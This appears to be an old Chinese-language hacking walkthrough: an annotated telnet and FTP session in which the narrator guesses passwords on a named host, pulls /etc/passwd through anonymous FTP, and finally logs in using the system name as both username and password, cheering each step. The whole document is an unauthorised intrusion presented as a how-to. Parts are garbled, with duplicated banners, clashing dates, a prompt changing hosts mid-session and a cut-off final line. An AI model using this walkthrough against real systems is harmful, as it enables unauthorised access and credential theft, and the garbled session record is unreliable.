Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 進來了 ! 開始攻擊吧 ! 本次的目標是......)
ms.hinet.net> telnet www.filter-038you.hinet.net (Telnet 試試看....)
Trying 111.222.255.255...
Connected to cool.filter-038you.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(沒關係, 再來 !!)
cool login: hinet
Password:
Login incorrect
cool login:
(都沒猜對, 這邊用的是 猜 的方法, 今天運氣好像不好)
telnet> close
Connection closed.
(重來, 換個 Port 試試看 !!)
ms.hinet.net> telnet 111.222.255.255 80
Trying 111.222.255.255...
Connected to 111.222.255.255.
Escape character is '^]'.
ms.hinet.net> ftp 111.222.255.255
Connected to 111.222.255.255.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (111.222.255.255:FakeName): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user! This is an experimental FTP server. If have any
230-unusual problems, please report them via e-mail to [email protected]
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
usr
bin
lib
incoming
welcome.msg
226 Transfer complete.
(嗯嗯... 太好了 ! 進來了 !! 下一個目標是.....)
ftp> cd etc
250 CWD command successful.
ftp> get passwd (抓回來 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)
(喔... 這麼容易嗎??)
ftp> !cat passwd (看看 !!!)
root::0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0perator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
ftp:*:404:1::/home/ftp:/bin/bash
(哇哩... 是 Shadow 的... 真是出師不利.... )
ftp> bye
221 Goodbye.
(不信邪.... 還是老話, 要有恆心....)
(FTP 不行, 再 Telnet 看看 !!)
ms.hinet.net> telnet www.filter-038you.hinet.net
Trying 111.222.255.255...
Connected to cool.filter-038you.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(又猜錯 !!)
cool login: filter-038you
Password:
Last login: Mon Dec 2 09:20:07 from 205.11.122.12
Linux 1.2.13.
Some programming languages manage to absorb change but withstand
progress.
cool:~$
(哇哈哈 !! 哪個笨 root, 用 system name 作 username 連
password 也是 system name.... 總算... 沒白玩...)
login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0
Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 進來了 ! 開始攻擊吧 ! 本次的目標是.....呵...)
ms.hinet.net> telnet cool.filter-038you.hinet.net (Telnet 試試看.... 昨天的位址, 有作筆記吧!)
stsvr.showtower.com.tw> telnet cool.filter-038you.hinet.net
Trying 111.222.255.255...
Connected to cool.filter-038you.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
cool login: filter-038you
Password: (一樣輸入 filter-038you)
Last login: Mon Dec 1 12:44:10 from ms.hinet.net
Linux 1.2.13.
(正點 ! 一點都沒有防備 !!)
cool:/etc$ exit
logout
(走了!.... 換 FTP 上場 !!)
Connection closed by foreign host.
ms.hinet.net> ftp www.filter-038you.hinet.net
Connected to cool.filter-038you.hinet.net.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (www.filter-038you.hinet.net:66126): filter-038you
331 Password required for filter-038you.
Password:
230 User filter-038you logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc
250 CWD command successful.
ftp> get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (350 bytes).
226 Transfer complete.
350 bytes received in 0.68 seconds (1.9 Kbytes/s)
perator:/root:/bin/bash
